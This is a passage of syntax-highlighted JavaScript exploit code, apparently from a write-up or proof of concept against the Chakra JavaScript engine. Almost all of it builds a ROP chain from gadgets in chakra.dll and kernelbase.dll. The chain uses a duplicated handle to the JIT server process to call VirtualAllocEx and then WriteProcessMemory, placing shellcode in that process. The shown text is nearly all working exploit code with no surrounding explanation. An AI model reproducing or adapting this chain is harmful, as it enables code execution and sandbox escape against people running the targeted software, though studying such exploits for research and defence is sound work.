<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// SIZE_T dwSize (R8)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00001000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// 0x1000 (shellcode size)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x24628b</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPVOID lpAddress (RDX)</span>
<span class="c1">// Let VirtualAllocEx decide where the memory will be located</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// NULL address (let VirtualAllocEx deside where we allocate memory in the JIT process)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hProcess (RCX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74e010</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll which will hold full perms handle to JIT server</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xd2125</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)</span>
<span class="nx">next</span><span class="p">();</span>                                                                     				   <span class="c1">// Recall RAX already has a writable pointer in it</span>

<span class="c1">// Call KERNELBASE!VirtualAllocEx</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0xff00</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!VirtualAllocEx address </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!VirtualAllocEx)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!VirtualAllocEx - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)         </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000004</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// DWORD flProtect (RSP+0x28) (PAGE_READWRITE)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// WriteProcessMemory() ROP chain</span>
<span class="c1">// Stage 3 -&gt; Write our shellcode into the JIT process</span>

<span class="c1">// Store the VirtualAllocEx return address in the .data section of kernelbase.dll (It is currently in RAX)</span>

<span class="cm">/*
0:015&gt; dq kernelbase+0x216000+0x4000 L2
00007fff`58cfa000  00000000`00000000 00000000`00000000
*/</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a000</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where we will store VirtualAllocEx allocation</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x313349</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// SIZE_T nSize (R9)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00001000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T nSize (0x1000)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hProcess (RCX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74e010</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll which holds our full perms handle to JIT server</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xd2125</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)</span>
<span class="nx">next</span><span class="p">();</span>                                                                     <span class="c1">// Recall RAX already has a writable pointer in it</span>

<span class="c1">// LPVOID lpBaseAddress (RDX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a000</span><span class="o">-</span><span class="mh">0x8</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where we have our VirtualAllocEx allocation</span>
<span class="nx">next</span><span class="p">();</span>                                                                            <span class="c1">// (-0x8 to compensate for below where we have to read from the address at +0x8 offset</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x255fa0</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// mov rdx, qword [rdx+0x08] ; mov rax, rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPCVOID lpBuffer (R8) (shellcode in chakra.dll .data section)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x576231</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// 0x180576231: pop r8 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>    	  <span class="c1">// .data section of chakra.dll holding our shellcode</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Call KERNELBASE!WriteProcessMemory</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x79a40</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!WriteProcessMemory address </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
